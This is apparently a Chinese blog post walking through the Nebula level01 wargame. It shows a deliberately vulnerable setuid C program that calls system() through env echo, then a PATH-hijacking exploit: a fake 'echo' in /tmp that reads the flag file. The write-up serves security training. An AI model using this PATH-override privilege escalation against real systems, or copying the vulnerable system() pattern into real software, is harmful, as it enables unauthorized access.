i春秋 - Exploit-Exercises: Nebula - level01

原创于 2017-02-25 21:27:03 发布 · 2.6k 阅读

1 ·

CC 4.0 BY-SA版权

文章标签：

#exploit

exploit 专栏收录该内容

13 篇文章

订阅专栏

本文介绍了一个存在任意程序执行漏洞的程序实例。通过分析源代码并利用环境变量PATH中的echo命令覆盖技巧，展示了如何找到并利用这一漏洞。

摘要生成于 C知道，由 DeepSeek-R1 满血版支持，前往体验 >

About

There is a vulnerability in the below program that allows arbitrary programs to be executed, can you find it?

To do this level, log in as the level01 account with the password level01. Files for this level can be found in /home/flag01.

Source code

#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <sys/types.h>
#include <stdio.h>

int main(int argc, char **argv, char **envp)
{
  gid_t gid;
  uid_t uid;
  gid = getegid();
  uid = geteuid();

  setresgid(gid, gid, gid);
  setresuid(uid, uid, uid);

  system("/usr/bin/env echo and now what?");
}

Nebula官网

思路

覆盖环境变量PATH中的echo命令

cd /tmp
vim echo

cat /home/flag01/flag

chmod 755 echo
PATH=/tmp:$PATH
/home/flag01/flag01

flag